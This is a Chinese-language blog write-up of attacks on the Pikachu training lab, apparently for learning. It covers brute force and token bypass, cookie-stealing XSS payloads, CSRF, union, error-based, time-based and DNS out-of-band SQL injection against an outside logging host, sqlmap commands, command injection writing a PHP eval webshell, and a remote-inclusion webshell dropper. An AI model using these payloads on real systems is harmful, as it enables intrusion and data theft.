记录下pikachu靶场的打靶记录
作者:admin | 时间:2023-5-7 23:22:25 | 分类:黑客技术 隐藏侧边栏展开侧边栏
前言
- 这个靶场的打靶就一个没有做出来,在sql注入的宽字节注入那里,有知道的原因的告诉下,谢谢!
- 有的理解是我个人的理解,可能存在误差,可以提出指点下。
暴力破解
1.基于表单暴力破解(用户名密码爆破)
- 首先进入页面,可以看到是个用户登录界面
-
使用bp 爆破(简单点,只爆破登录密码,用户名已知admin)
- 将抓到到数据包丢到入侵模块,筛选要爆破的字段
- 开始attack之前,我想使用下bp的Grep math功能(在attack结果添加个我设置筛选条件的字段,满足这个条件结果为1,这里的作用是快速找到爆破密码成功的密码)。这个条件就是登录成功对比于登录失败的返回包中特有的数据(正常网站的的后台登录成功大多是跳转的,失败告诉你账号密码错误),而经过bp的数据重放得出
登录失败返回包是:
登录成功的返回包:
那么成功的特征就是:“login success”,将login success添加到Grep-Math功能
3.开始爆破,查看结果,可以看到login success列为1就是爆破出了密码,当然这里也可以根据返回包的length大小来判断是否爆破出了密码,只要相差过大的length就是爆破了正确的密码,当然在实际中也有可以能是出现了验证码,ip被拦截等原因导致返回包中的数据长度发生改变,只要看下返回包中的内容就知道是什么原因了。
2.验证码绕过(爆破密码添加了验证码防护)
- 界面查看
- 发现有个验证码(验证码的几种漏洞及绕过方法),首先验证下这个验证码是不是前端验证,如果是前端验证,那么等同虚设,直接删除掉这个验证码字段,如果不是就判断下验证码能否可重复使用。经过bp Repeater模块的多次数据重放发现没有报验证码错误的返回包,那么存在验证码可重复使用漏洞。直接抓取登录的数据包,爆破密码。
3.验证码绕过(爆破密码添加了验证码防护)
- 输入错误的验证码,尝试登录时,直接给我弹窗”验证码输入错误“,很明显这是个前端验证码,进一步确认抓个包,然后删除验证码字段试试看看:
- 报错报的是用户名密码错误,那么确定这是个前端验证码认证,删除验证码字段,爆破密码
4.token(爆破密码添加了token字段)
- 认识下什么是token:在 Token 身份验证机制中,用户只需要在第一次登录时提供用户名和密码信息,生成一个加密后的 Token,然后在之后的每次请求中携带该 Token 进行身份验证。Web 服务器无需再次验证用户密码,而是使用之前生成的 Token 进行身份验证和授权访问。
- 那么按照这个意思就是只要我知道每上一次登录的token值,就可以爆破登录了。
- 首先我们就需要知道服务端生成的token。先直接抓包,放到bp 重放模块看看
- 可以到有一个token值。这时候我们可以试试再发送一个请求包用最开始的token值
- 可以看到报错,说是token值错误,那么用上一次登录失败服务端返回包中token值作为当前登录的token值进行登录看看
- 可以看到它报的错误是用户、密码错误并非token值错误,到此也就验证了token绕过的思路,那么接下来就是获取每上一次的token值了。
- 所以我们要爆破两个字段的值,一个是possword值,另一个是token值,possword值可以用字典爆破,而token就得用正则匹配来获取值
- 接下来我们就要使用正则去匹配token值了
- 选择token值,为快速找到直接search ’token‘关键字找到token值,然后复选上token值,这时可以看到bp已默认生成了正则匹配,我们点击ok后就能在Grep-Exteact中看到正则匹配表达式了
- 这时候我们已经抓取了每一次的token值,但还要设置下线程为单线程,因为每一次的爆破的token值都是我们抓取的token值,如果线程过大,有可能造成token值错误,从而影响爆破。11.开始爆破,查看结果。
XSS
反射型xss(get)
- 找xss漏洞,首先找用户输入的地方,然后找输入的数据在哪儿输出,最后构造payload
- 明显有个表单框存在,我们输入数据看看,结果在哪儿输出。
- 一个在url栏中存在输出,一个在页面中输出,那我们输入数据<script>alert('moooo')</script>
- 发现只能输入<script>alert('moooo,原因是表单设置了输入框数据的长度为20。提交后,页面的内容没有我们输入的值,猜测被过滤了。但在url栏中可以看到<script>alert%28%27moooo ,这里的值只是我们在输入框中的值进行url编码的。
- 这里呢,可以修改表单的长度(就是把那个20改为100),但是题目是get xss,那么还是将url栏中的message值改为<script>alert('moooo')</script>。回车后成功弹窗!
反射型xss(post)
- 接入界面后可以看到是个登录界面,输入用户名 admin、密码 123456登录。
- 可以看到跳转了一个新页面,能看到存在一个输入框,输入数据看看。
- 看到在页面存在我们输入的内容,构造payload尝试<script>alert('cookie:'+document.cookie)</script>
存储型xss
- 是一个留言板界面,我们可以输入内容,并且我们输入的内容可以在留言列表中查看
- 构造payload: <script>alert('111111111')</script>
- 因为是存储型xss,所以只要能看到这个留言板界面,就能弹窗
DOM型xss
- 直接输入mooooo,提交后,按下F12看下
- 可以看到我们输入的内容在a标签中了,其实这里我们可以构造伪协议法和事件法构造payload,伪协议法:javascript:alert(document.cookie),然后点击what do you see?链接,事件法:' onmouseover="alert(document.cookie)" ,鼠标移动到what do you see?链接那里。
- 看下后台源代码,观察下为什么我们输入的是javascript:alert(document.cookie),但页面为啥显示的是what do you see?url链接
- 可以看出,这个函数执行的内容是:先获取id为test的值,这个test的值就是我们文本框输入的内容,然后将id为dom的标签的值中的内容设为a标签,a标签的url链接为文本框中输入的值(test值),链接的文本为what do you see?
DOM型xss-x
- 进入页面后有个输入框,先随便输入点内容看看
- 可以看出我们输入的内容在url栏中,查看下网页的源代码3.得出结果与上面一关差不多,那就使用伪协议法的xss,javascript:alert(document.cookie)=》点击 ‘有些费尽心机想要忘记的事情,后来真的就忘掉了’ 链接=》点击 ‘就让往事都随风,都随风吧’ 链接成功出现xss弹窗
xss之盲打
- 发现只有连个输入框,题目为xss盲打,那么我们输入的内容肯定在页面看不到的。
- 如同我的猜测一样,页面找不到我输入的内容,那直接输入<script>alert(document.cookie)</script>,看看,也是啥结果都没有。于是点开提示,叫进这个目录看看/xssblind/admin_login.php,好家伙,然来弹窗在这里。
- 其实看到这里也知道原因了,在我最开始输入payload后,页面是没有我们输入的内容。而形成xss漏洞的原理就是浏览器把我们输入的数据当作前端代码执行,都没有数据,肯定执行不了我们输入的payload。但是当我们登录后,客服端会向服务端请求意见的内容,这个内容可能是服务端中的存储数据,也有可能是sql数据,反正就是要我们之前输入的反馈意见内容,然后服务端会把数据发送给客户端也就是浏览器,然后浏览器就会把意见内容在页面显示,因为我们的意见内容是xss payload,所以用户登录成功后,就会弹窗。
xss之过滤
- 先输入mooooo查看下结果
- 在页面有显示,题目是xss过滤,那肯定一些符号会被过滤,我们直接输入"<'on <scirpt> 结果看看
- 发现< ' " 和 on 没有被过滤,那么可以使用伪协议法和事件法,但是呢这是个p便签是不能触发 JavaScript 事件因为这个标签不具有交互性但是可以嵌入js代码,查看p标签可执行的交互便签有<a>标签和<button>标签,构造payload尝试<button onclick="alert('document.cookie')">Click me</button>
xss之htmlspaclalchars
- 输入<script>alert('1')</script>看看
- 没有弹窗,页面存在输出,而且<script>alert('1')</script>url的内容也不对,查看下网页源代码
- 原来时< > "被实体化了,但是单引号没有,并且我们输入的内容在<a>便签中,那么直接构造payload: javascript:alert(document.cookie),点击成功弹窗
xss之href输出
- 直接输入一个网址:www.baidu.com,发现在页面找不到任何有关www.baidu.com的值,随便输入aaa,则可以在页面中看到我们输入的aaa,输入www.freebuf.com,也可以看到,那看来是不能输入百度了。
- 明显有个<a>标签,我们直接构造pyload:javascript:alert(document.cookie)
xss之js输出
- 输入<script>alert(document.cookie)</script>看看
- 发现在界面没有输出,查看下网页源代码,发现用$ms接收值,并且它是在script中的,那我们直接闭合$ms然后注释后面的‘;,构造payload:' ;alert(document.cookie);//
csrf
- 首先介绍下什么是csrf,官方术语叫:跨站请求伪造攻击。也就是说先构造一个网页,但是在这个页面隐藏打开存在csrf漏洞的网站,并且存在恶意代码,其内容就是修改存在csrf漏洞网站密码等信息的数据包,然后把密码等内容修改为我们能够控制数值。所以只要用户打开a网站的同时,再打开我们的网站,那么就会修改其账号密码等信息。
csrf(get)
- 进来发现需要登录,当然这个登录是可以爆破的。这里呢就直接看下提示,发现告诉了用户名密码。但是在实际情况中,可能存在注册用户,因此可以用注册的用户进行操作。
-
进入界面后,发现我们能交互有两个地方,一个是修改个人信息,一个是退出登录。分别抓包看看。
可以看到,没有token值进行校验的,那么就可能存在xss,这里呢我们先测试下。构造完整的url为:http://192.168.0.133:8083//vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=13676767767&add=nba+76&email=allen%40pikachu.com&submit=submit,然后我们把13678787767改为111111111111111重新打开一个网页窗口测试下。4.发现手机号已修改了。那么就存在csrf了。但是这样来我们需要对方在没有退出这个网页的前提下,再打开我们的给的链接(http://192.168.0.133:8083//vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=111111111111111&add=nba+76&email=allen%40pikachu.com&submit=submit),才能实现csrf漏洞的利用,而且稍微有一点安全基础的人一看,就发掘这个url链接不对了。于是我们可以构造一个网页,然后利用社工使受害人去访问我们建造的网页。只要它没有退出存在csrf的网页,然后呢又点开了我们的网页,那么我们就可以修改他的个人信息了5.刷新页面后,就能看到手机号已经被修改了6.这里解释下,因为我建的网页,是内联了csrf漏洞的网站,只要受害者没有退出原网站,并且还打开了我们的网站,因为内嵌的网站与存在csrf网站是属于同源法则的,浏览器就直接使用cookie免登录,从而修改了个人信息。同时这里的退出的get请求也可以使用的。而且为了更好的隐藏,我们可以把iframe的高、宽像素设置0,这样在我么搭建的网站就看不到内联的网页了。
csrf(post)
- 因为是个post传参,所以我们要构造表单,然后使受害者访问我们的这个url。首先先抓个修改个人的信息的数据包
- 发现我们要构造4个传参的表单,还有一个url地址。下面是payload 代码:
- 只要受害人没有退出登录,再打开我们的网页,就会修改个人信息。
csrf token
- 抓个修改个人信息的数据包
-
发现存在token校验,尝试删除token字段,结果是不能修改个人信息。看下提示说看下原代码。
- 这里我猜测是生成的下一次验证token值的,那我们刷新几次网页看看,这个token值有无变化,结果发现改变。那现在将我的猜测引入进入,将这个源码的token值复制到我们这次的url栏的token值中,源码的token值:59435643e671d70f0e863511158,经过抓取修改个人信息的数据包,得到的url并将其补全得到:192.168.0.133:8083/vul/csrf/csrftoken/token_get_edit.php?sex=boy&phonenum=66666666&add=nba+76&email=allen%40pikachu.com&token=93151643e671813ad5164941761&submit=submit,然后把这个token值修改成源码的token值,进行放包操作。这里还是不放包了,因为我没有修改个人信息,观测不到结果!!!!!
- 构造一个新的url为:192.168.0.133:8083/vul/csrf/csrftoken/token_get_edit.php?sex=moooooo&phonenum=7878787878787&add=nba+76&email=allen%40pikachu.com&token=59435643e671d70f0e863511158&submit=submit
- 执行放包
- 发现信息已修改。首先总结下这个流程:获取修改信息的url(修改个人信息后,提交的抓包数据就可以看到url)=》查看网页源代码获取这个token值=》重新抓一次修改个人信息的数据包=》把要修改的信息进行改动(地址、手机号等),然后把这个token值换成源码的token值=》放包即可修改我们的参数
- 实际情况,你是不知道token值的,但是这题呢,开发者故意留个漏洞给你,你都知道了token值,那他的这个token值可以说是没有意义的
SQL注入
首先介绍下什么是sql注入:用户输入的数据被当作sql语句执行。
数字型注入(post)
- 测试发现我们没在下拉框中选择一个值,页面呢会生成一个信息,抓下包改下下拉框的值看看
- 发现输入数字没问题,输入字符报错
- 经过以上测试呢,得出的结论是存在一个sql数字型注入漏洞,如果我们输入999 or 1=1 便会把所有的邮箱列出来。
- 那么现在我先判断由几个字段:1 and order by 1~n尝试 只要页面不正常,就说明没有这么多个字段
- 那么存在两个字段,开始找到回显位:9999 union select 1111,2222
- 找到了回显位,我们直接查库名和表名:9999 union select database(),(select table_name from information_schema.tables where table_schema=database() limit 0,1)
- 通过修改limit n,m的n就可以获取第几个表呢,同样如果要获取列名就把语句换成:9999 union select database(),(select column_name from information_schema.columns where table_name='之前获取的表名' limit 0,1)
-
这里我们使用sqlmap梭哈:先抓包,把request请求放进txt文本中,把id=1加上*号指定注入的位置:sqlmap指令:
- python sqlmap.py -r "./request.txt" --tables --level 3 --risk 2
- python sqlmap.py -r "./request.txt" -D 'pikachu'-T 'menber' --tables --level 3 --risk 2
字符型注入(get)
- 这关可以看到可以输入字符,那我们直接输入 a or 1=1
- 发现没有出现我们的结果,应该把我们输入的内容当作字符了,那现在要寻找闭合条件,输入 ’ “ )测试,只要页面时非正常页面,那么就该符号就是闭合符号。
- 得出结论单引号是闭合条件,那么加上or 1=1 #看看页面是否正常,如果不正常,那么说面闭合条件还不对,或者就是过滤了注释符号。
- 结果报了个400的错误,经过查阅资料得知 HTTP 协议规定,请求行和请求头中不能包含空格字符,因此服务器无法正确解析该请求包,并返回 400 Bad Request 错误。所以我们要将’ or 1=1 #进行url编码
- 剩下的操作与上面的一样,就不再演示了
搜索型注入
- 看这个标题和输入a的结果判断这肯定使用了like关键字进行数据库查询的
- 输入 ‘ ” )找闭合条件,单引号报错,那么单引号就是闭合条件,验证:a' or 1=1 #,发现出现所有结果
- 剩余操作不在演示。
xs型注入
- 发现存在表单的一个输入框,直接抓包在bp重放模块测试
- 输入单引号报sql语法错误,说明单引号是闭合的符号,构造 ’ or 1=1 #尝试
- 页面报sql语法错误,现在怀疑闭合符号缺少,添加 ) ” 等,经尝试得到闭合符号是‘)
insert/update注入
- 进入页面,存在登录功能,和注册功能,看题目标题可知因该在注册功能做功能的,但还是测试下登录功能是否存在sql注入。在用户名、密码分别输入 单引号、双引号、括号尝试,页面报的都是用户名不存在,推测很大可能把符号转义了。看下源码:
-
果然使用了escape()函数,了解下这个函数的作用:
escape
是一个过时的函数,它用于将字符串中的特殊字符转义为 SQL 查询语句中的字面量。在 PHP 中,这个函数通常是针对 MySQL 数据库而言的。然而,由于
escape
函数只会对单引号、双引号、反斜杠等少数几种字符进行转义,而对其他字符(如注入攻击中的%
、_
等)则不进行处理,因此容易导致 SQL 注入等安全漏洞,那是不是说可以使用16进制注入,这里就不尝试了,进入注册功能进行尝试注入: - 看到我们输入的参数通过post提交。因为这是个注册的页面,所以呢,输入的这些数据会存放到数据库中的,因此想办法构造语法把要得到的数据显示出来。
-
首先一样的你得找闭合的符号,发现输入a'页面报sql语法错误,而a“没有报语法错误,说明单引号是闭合符号。知道了闭合符号,这里你是肯定不能注释的,一旦注释后面的语句,可能会报字段数不匹配。还要匹配原先的闭合单引号(原始正常参数:‘a’,添加了闭合符号:‘a'',所以还有添加一个单引号与原先的单引号成对:'a''' ),所以基本的闭合语句为a'',那现在需要获取数据库名怎么做呢?
-
通过报错注入:使得数据库名通过报错信息在页面显示,前提:页面没有屏蔽报错
- 报错的函数有updatexml(xml_document,XPthstring,new_value)、extractvalue (XML_document, XPath_string)等等
- 这里以updatexml()函数为例,这个函数主要是中间的参数,也就是xml路径,只要这个路径错误呢,这个函数就报错报错的内容会把这个路径显示出来,那我们就让这个参数为一个特殊符号加上我们要获取的数据信息就可以通过报错的信息显示出来了
- updatexml(1,concat(0xff01,database()),1):0xff01是!的16进制,作为特殊符号是这个函数报错,报错的内容是!和数据库名
- 那么现在的参数成为a' updatexml(1,concat(0xff01,database()),1) ',然后用and 和 or连接:a' and updatexml(1,concat(0xff01,database()),1) and '
-
如果获取表名、字段名则将datebase()换成对应的代码:
- 获取第n个表:a' and updatexml(1,concat(0xff01,(select table_name from infomation_schema.tables where table_schema=database() limit n,1)),1) and '
- 获取第n个列:a' and updatexml(1,concat(0xff01,(select column_name from infomation_schema.columns where table_name='查询的表名' limit n,1)),1) and '
-
盲注:根据页面的返回结果,对我们的猜测进行论证,如果页面返回正常,那我们的猜测的结果就是正确的
- 盲注这里分为普通盲注和时间盲注
- 普通盲注:是不行的,如果你要用a' and/or (length(database())>1) ',页面都会报语法错误,经过了解其原因就是类型不匹配的错误,因为你a永远是真确的,而我们length的比较结果无非是true或false,在加上and/or连接的结果也就是一个true或者false,而数据库接收的name字段是varchear类型的。
-
时间盲注:使用sleep()函数和普通盲注的结果判断,先直接放代码:a' or (if((length(database())>1),sleep(5),1)) or ' 这个的意思就是:因为是or连接符,所以会执行我们获取数据库名的mysql代码,,因为是if()函数,他是按照从左至右依次判断,所以这里,只要数据库名的长度大于1这是正确的,就会执行sleep函数,而sleep函数就会让页面的返回延迟,所以只要我的这个第一个条件是正确的,那么页面就会延时。那接下来就是漫长的判断时间。判断表名的长度,判断表名的第一个字符到第n个的字符,判断字段名的长度,判断字段名的第一个字符到第n个的字符。
- 获取数据库的第一个字符:ascii(substring(database(),n,m))=x,这里的n是要从第几个字符开始获取,m是获取几个,x是该字符对应的ascii码。例如:判断数据库的第二个字符是否是a=》ascii(substring(database(),2,1))=96
- 构造闭合:a' or (ascii(substring(database(),2,1))=96) or '(只要页面延迟了,那么说明第二个字符就是a)
-
外带注入:访问某个域名,然后该域名是可以记录数据的,我们可以通过sql执行结果的数据通过访问特点的域名而看到数据,尝试过了,不行,查阅资料是因为MySQL 数据库通常会禁止
load_file()
函数的使用,所以去数据库取消该设置。这里我不尝试了。
- 执行的payload:' a or (load_file(concat("//",database(),".oh4amw.dnslog.cn"))) ‘,这里的oh4amw.dnslog.cn是一个接收dns记录的网站(http://www.dnslog.cn/),复制生成的网站,替换成oh4amw.dnslog.cn,执行成功后,然后刷新(别刷新网站了!)
-
通过报错注入:使得数据库名通过报错信息在页面显示,前提:页面没有屏蔽报错
delete 注入
-
- 进入界面,是个留言板,这里就不考虑xss注入了,添加moooo后,发现有个删除功能,抓包查看结果。
- 发现有个传参id=59,尝试把这个id删除,发现留言板moooo没有删除,那就说明这个id是数据库中的一个标志,与数据库存在关联,那么就存在sql注入的可能。首先构造闭合符号,因为是get请求,将单引号、双引号、括号转成url编码进行依次测试,发现为单引号是,报sql语法错误,那么闭合的符号为单引号,构造语句测试%20%6f%72%20%31%3d%31%20%23( or 1=1 #),发现页面报错的内容是删除失败~~~~,页面是正常打开的,说明呢是个数字注入。
- 尝试输入 and 1=1 #=>%20%61%6e%64%20%31%3d%31%20%23看看,发现成功删除
- 那尝试构造报错注入获取数据库名: and updatexml(1,concat(0xff01,database()),1) #=》%20%61%6e%64%20%75%70%64%61%74%65%78%6d%6c%28%31%2c%63%6f%6e%63%61%74%28%30%78%66%66%30%31%2c%64%61%74%61%62%61%73%65%28%29%29%2c%31%29%20%23
http header注入
- 使用admin 123456登录后
- 他说保存了这些信息,一看就知道保存了UA头部信息和Accept信息,再次抓包看看
- 那么就可以尝试找闭合语句然后获取数据库信息了,与寻常的注入一样,区别就是注入的地方在ua和accept那里。
盲注
- 介绍下盲注:在页面找不到报错信息和没有回显的时候,采用盲注手法,所谓盲注,就是根据我们猜测的结果,页面有不同的反馈,例如我们猜测数据库的字符长度等于5,如果错误,页面便会报错,如果我们猜测正常,那么页面的显示也是正常的。
- 不管是什么注入,首先找到闭合条件。发现添加 %22 %27 %29页面都是正常的,那会不会该sql语句没有使用这些符号呢?直接猜测数据库的长度。语句 and length(database())<1,页面也是正常的,到这里我就有点纳闷了,说是盲注的题目,咋我闭合都闭合不掉,直接查看下源码
-
原来
mysqli_query()
函数不会直接打印MySQL错误类型码,而且闭合符号是单引号,因为测试%27为闭合符号时,页面也还是报错的,只能使用时间盲注了,只要页面延时,就说明我们猜对了。猜测数据库长度的payload为:a' and if(length(database())>1,sleep(5),1) # - 页面成功延时,说明数据库的长度时>1,现在猜测是否大于5
- 页面延迟,猜测是否大于7,页面直接加载,说明不大于7,测试是否=7,页面延迟,得出结论数据库的长度为7。
- 现在获取数据库名,采用ascii()和substring()函数来判断,构造的payload为:b' or if(ascii(SUBSTRING(database(),1,1))>1,sleep(0.3),1) #经过尝试,这里的sleep()函数会因为你表中每有一条数据而sleep一次,就是说如果我表中有10条数据,那么总的休眠时间最少为0.3*10秒,为了节约时间,这个时间我就设置小了点。
- 由于需要挨个猜测字符,手动太麻烦了,这里使用bp的Intruder模块。其原理就是我要判断的每一个字符都去和对应的ascii码比较。猜测的代码是:b' or if(ascii(SUBSTRING(database(),1,1))=1,sleep(0.3),1) #。因为要爆破每个字符,所以我们要变动两个位置的数字,一个是substring(database(),x,1),这个x为第几个字符,由于我们之前猜测了数据库名的字符长度为7,那么这个数值为1~7,第二个参数是该字符对应的ascii码,故为0~127,这里为了快点,之间从48~123猜测。也就是说需要爆破的地方用x、y表示为b' or if(ascii(SUBSTRING(database(),x,1))=y,sleep(0.3),1) #。
- 因为是get传参,我把这payload变成了url编码,所以找到x、y对应值的替换成数字。
- 但是到这一步,就很尴尬了,我不知道怎么判断哪个页面延迟了,也就无法判别数据库的名字。(如果有知道的,一定要告诉我下,感谢)。只能手测了,但太繁琐了,就不尝试了,知道了这各思路就可以了。
- 想了下,还是用sqlmap吧,获取当前数据库:python sqlmap.py -r "./request.txt" --current-db获取表:python sqlmap.py -r "./request.txt" -D pikachu --tables
时间盲注
-
进这个页面与上一题一样,无论输入什么闭合符号,都没有报sql语法错误,只能分别测试:
- b' or if(length(database())>1,sleep(0.5),1) #
- b)' or if(length(database())>1,sleep(0.5),1) #
- b') or if(length(database())>1,sleep(0.5),1) #
- b"' or if(length(database())>1,sleep(0.5),1) #
- b'" or if(length(database())>1,sleep(0.5),1) #
- b" or if(length(database())>1,sleep(0.5),1) #
- b)' or if(length(database())>1,sleep(0.5),1) #
- b") or if(length(database())>1,sleep(0.5),1) #
- b'' or if(length(database())>1,sleep(0.5),1) #
- b"" or if(length(database())>1,sleep(0.5),1) #
- b") or if(length(database())>1,sleep(0.5),1) #
- b)" or if(length(database())>1,sleep(0.5),1) #
- 挨个测试,直到页面出现延迟,结果测试发现:b' or if(length(database())>1,sleep(0.5),1) # 成功延迟,说明这题和上一题一样的,下面就不再测试。
宽字节注入
- 应用的场景:用于单引号、双引号被转义的情况并且数据库使用的是gbk编码,因为转义字符'\'的url编码是’%5c’,在gbk编码中,一个汉字为2字节,所以遇到要转义得字符前面加上个‘\’,这时候只要我们构造一个字节能与%5c组成一个汉字,那么转义符号就不在了。如escape()函数中,当我们输入单引号时,escape()函数会在单引号前加转义符号,这样我们就无法闭合符号,进行sql注入攻击了;但是如果mysql使用得时gbk编码,我们输入%ab',%ab会与转义符号组成汉字玕,而我们的单引号仍存在,就可以进入注入攻击了。
-
进入页面因为题目名字是宽字节注入,所以直接输入%ab' %ab" %ab)尝试,结果没有报sql语法错误,看来服务器又关闭了sql语法错误的输出。只能使用盲注了。
-
- %ab' or if(length(database())>1,sleep(0.5),1) #
- %ab)' or if(length(database())>1,sleep(0.5),1) #
- %ab') or if(length(database())>1,sleep(0.5),1) #
- %ab"' or if(length(database())>1,sleep(0.5),1) #
- %ab'" or if(length(database())>1,sleep(0.5),1) #
- %ab" or if(length(database())>1,sleep(0.5),1) #
- %ab)' or if(length(database())>1,sleep(0.5),1) #
- %ab") or if(length(database())>1,sleep(0.5),1) #
- %ab'' or if(length(database())>1,sleep(0.5),1) #
- %ab"" or if(length(database())>1,sleep(0.5),1) #
- %ab") or if(length(database())>1,sleep(0.5),1) #
- %ab)" or if(length(database())>1,sleep(0.5),1) #
-
-
依然没有延迟,这就很奇怪了。看下源码:
- 通过代码可知:是通过post获取name的传参,闭合符号是单引号,存在转义,就是说当我们输入单引号,会将我们输入的单引号进行转义。针对代码构造注入语句:%ab' or if(length(database())>1,sleep(0.5),1) #,因该能注入的啊,但结果就是没有延迟。。。。
- 还特意手动改了myslq编码
- 但就是无法进行宽字节注入。真是奇了怪!,自己太菜找不到这个原因。
REC
ping注入
- 进入页面,提示说要输入ip,我们输入正确的ip和非ip数值看看
- 可以猜测下,应该是把我们输入的内容经由服务器系统去执行了,那我们可以利用‘&’ ‘|’符号来执行多条指令 :aaa & whoami
- 那我们可以使用这个漏洞新建用户,或者上传一句话木马或者爆破端口密码等等,这里我们就上传一句话木马拿webshell案例吧。
-
在做这些前提是需要一些基础信息的:比如服务器是什么操作系统,使用的后端语言等等。判断是什么操作系统=》直接把路径改为大写,因为linux是区分大小写,windows是不区分的。判断是什么后端语言=》直接在主页面输入\index.php index.asp index.jsp index.aspx等等,最重要得是我要知道该网站的路径,因为只要这个路径你是能访问的,你得把你写的一句话木马放到这个位置,然后通过浏览器来访问。想要知道网站的路径得方法:
- 通过中间件的报错,在网页的主页处写一个不存的路径,查看报错信息,有的可能包含路径
- 使用dir/cd .. 命令
- 目录爆破
- 我查阅了资料说可以根据端口ID找进程ID,然后根据进程ID找路径,但是我测试存在问题,命令:netstat -ano | findstr :端口号 tasklist /fi "pid eq 进程ID"
- 这里直接使用dir 获取路径信息:
- 上传php一句话木马:55 & echo "<?php @eval($_REQUEST[pd])?>" > ./shell.php
- 登录测试
- 连接蚁剑
php eval 函数注入
- 进入界面,存在一个输入框,题目说是eveal函数注入,直接输入phpinfo();成功出现phpinfo界面
- 直接连接蚁剑,但是连接密码不知道,抓下包看看
- 得知连接密码试txt,蚁剑直接连接,这里抱歉,表示不知道蚁剑怎么连接post的eveal()函数。那就使用system()函数创建一句话木马把,这里也可以用certutil下载,图简单还是写一句话木马吧:system('echo "<?php @eval($_REQUEST[pd])?>" > ./shell.php');
文件包含
- 文件包含:就是在当前的页面,去调用另外一个文件。使用这个功能目的就是简洁代码,提高效率。
- 如果没有对用户提供的输入进行充分过滤或验证,那么我们就可以修改包含的文件名,来查看读取任意敏感文件等
-
而文件包含分为本地文件包含和远程文件包含
- 本地文件包含:调用本地的文件,目的是获取敏感文件信息的
- 远程文件包含:调用网络中恶意的文件,目的是使其执行该恶意文件
File Inclusion(local)
- 随便选择一项可以在url栏看到有个file2.php,很大概率该页面是调用fili2.php这个文件的
- 直接访问隐私文件(这里我就在E盘的根目录创建一个3.txt文件):正常情况下,我们是不能访问到这个文件的,可以利用文件包含去访问这个文件
File Inclusion(remote)
- 经过本地文件包含的漏洞测试,很明显发现本地文件包含漏洞利用只能获取文件的敏感信息,而且还需要存在目录遍历漏洞才能获取更多的敏感信息。但是远程文件包含就不一样了,可以通过网络去调用其他网络上的文件,如果我们控制访问的文件为我们自己构建的恶意文件,那么服务器就会执行这个恶意文件中的恶意代码了。
- 执行远程文件包含php.ini配置中需要开启allow_url_include:
- 重启就可以了,进入页面选择科比可以看到
- 现在我们新建一个php文件,其文件代码的功能是在当前路径下创建一个include.php文件,文件的内容是php一句话木马。
<?php
// 创建一个名为111.php 的文件
$filename = './111.php';
$file_content1 = '<?php @eva';
$file_content2 = 'l($_RE';
$file_content3 = 'QUEST[111])?>';
//这里不知道是不是因为腾讯云还是啥原因,如果我直接写<?php @eval($_REQUEST[111])?>,写的结果是没有$_REQUEST的,所以我就分开写了
$file_content = $file_content1 . $file_content2 . $file_content3;
//var_dump($file_content);
//$t=serialize($file_contert);
//echo "<script>atert('$t')</script>";
// 打开文件以进行写入操作
$file_handler = fopen($filename, 'w');
// 向文件写入内容并关闭文件句柄
fwrite($file_handler, $file_content);
fclose($file_handler);
// 输出成功或失败信息
if (file_exists($filename)) {
echo "<script>alert('文件创建成功!!')</script>";
} else {
echo "<script>alert('文件创建失败!!')</script>";
}
?>
5.因为该文件我是放在我的vps上,所以url中的远程文件包含的路径为http://43.142.44.*/include.txt
6.接下来就去访问这个木马文件
7.讲个插曲,在这之前,我的后缀是php,也就是访问的是http://43.142.44.*/include.php,结果老是在我vps文件上创建111.php文件,后来查阅资料才知道,改为txt,因为php调用这个文件,会自动把文件的内容当作php代码执行。
文件下载
Unsafe Filedownload
- 进入页面,选择科比图片下载
- 可以看到这个图片的下载url为:http://192.168.0.133:8083/vul/unsafedownload/execdownload.php?filename=kb.png,只要我们打开这个链接,就会下载科比的图片了,如果我们把kb.png换成ai.png就会下载阿伦图片。
- 如果还存在目录遍历漏洞的话就可以用../返回到上层路径,去下载父路径的文件了。比如我想要下载文件包含中的ray.png文件时,把kb,png换成..\..\..\..\..\..\..\www\pikachu-master\vul\fileinclude\include\ray.png,新的url就变成了=》http://192.168.0.133:8083/vul/unsafedownload/execdownload.php?filename=..\..\..\..\..\..\..\www\pikachu-master\vul\fileinclude\include\ray.png
文件上传
client check
- 先随便上个文件,结果发现我还没点击开始上传,就说我的文件不符合规范。从这里就可以知道两个信息,第一个使用前端验证,第二个使用的是白名单机制(只允许符合允许的扩展名上传)。
- 前端验证就好解决了,先写个一句话木马文件,文件的扩展名是符合白名单的,然后抓开始上传的数据包,修改其扩展名为php
- 发现上传成功,并且还贴心的告诉你木马的路径,直接连接
MIME type
- 上传不同的文件类型,判断是白名单机制还是黑名单机制。经过上传txt类型,不给上传,推断是白名单机制。
- 测试下能否修改扩展名绕过,结果直接成功了。。
- 告诉了路径,直接获取phpinfo信息
- 做到这里我才注意到应该按照标题来做。例如第一个文件上传主要考核的前端验证,这个验证是根据前端代码实现的,我们只要删除这个代码就可以了。
- 查看这个函数checkFileExt(),发现可以看到其源码。起作用就是获取上传的文件的扩展名与png、jpg、gif匹配,匹配不上就直接不允许上传,因为要调用这个函数才能使用才会执行匹配代码,那直接在提交处删除这个函数就可以直接绕过。
-
第二个文件上传主要考核的是MIME,首先里了解下什么是MIME:一种标识互联网上文件类型的格式。用于标识文档、图像、视频、音频等文件的类型和子类型。类型和子类型组成,用斜杠字符 "/" 分隔。例如,"text/plain" 表示纯文本文件的 MIME 类型,而 "image/jpeg" 表示 JPEG 图像的 MIME 类型。在 PHP 中,可以使用
mime_content_type()
函数或finfo_file()
函数来获取文件的 MIME 类型。 - $_FILES[$key]['type']获取的是该文件的MIME类型,如果不是'image/jpg','image/jpeg','image/png',就不让上传,所以我们在抓包中改掉Content-Type: application/octet-stream为image/jpg 就可以绕过了。
getimagesize
-
getimagesize()
是一个 PHP 内置函数,用于获取图像文件的基本信息。通过文件的前面几个字符串,来判断文件类型。所以说如果我们上传的文件没有图片标识的话,是上传失败的。如果我们构造一个图片,这个图片打开是一个正常的图片,但是在结尾包含了php恶意代码,就可以绕过了。 -
找个图片,命名1.png ,php木马文件名命名1.php ,然后通过copy /b 1.png 2.php 2.png 命令生成一个图片马,这个命令的含义是:按照二进制方式合并,并将结果保存到2
.png
文件,然后上传3.可以看到已经成功上传了文件,接下来要执行图片中的php代码了,采用上面的文件包含漏洞去访问这个文件 - 从上往下看第一个是1.php里面的内容,也就是木马内容(创建一个php文件,其内容是一句话木马);第二个是合并图片命令;第三个是记事本打开合并的文件,查看代码是否正常。
- 上传成功,可以看到显示该文件的路径
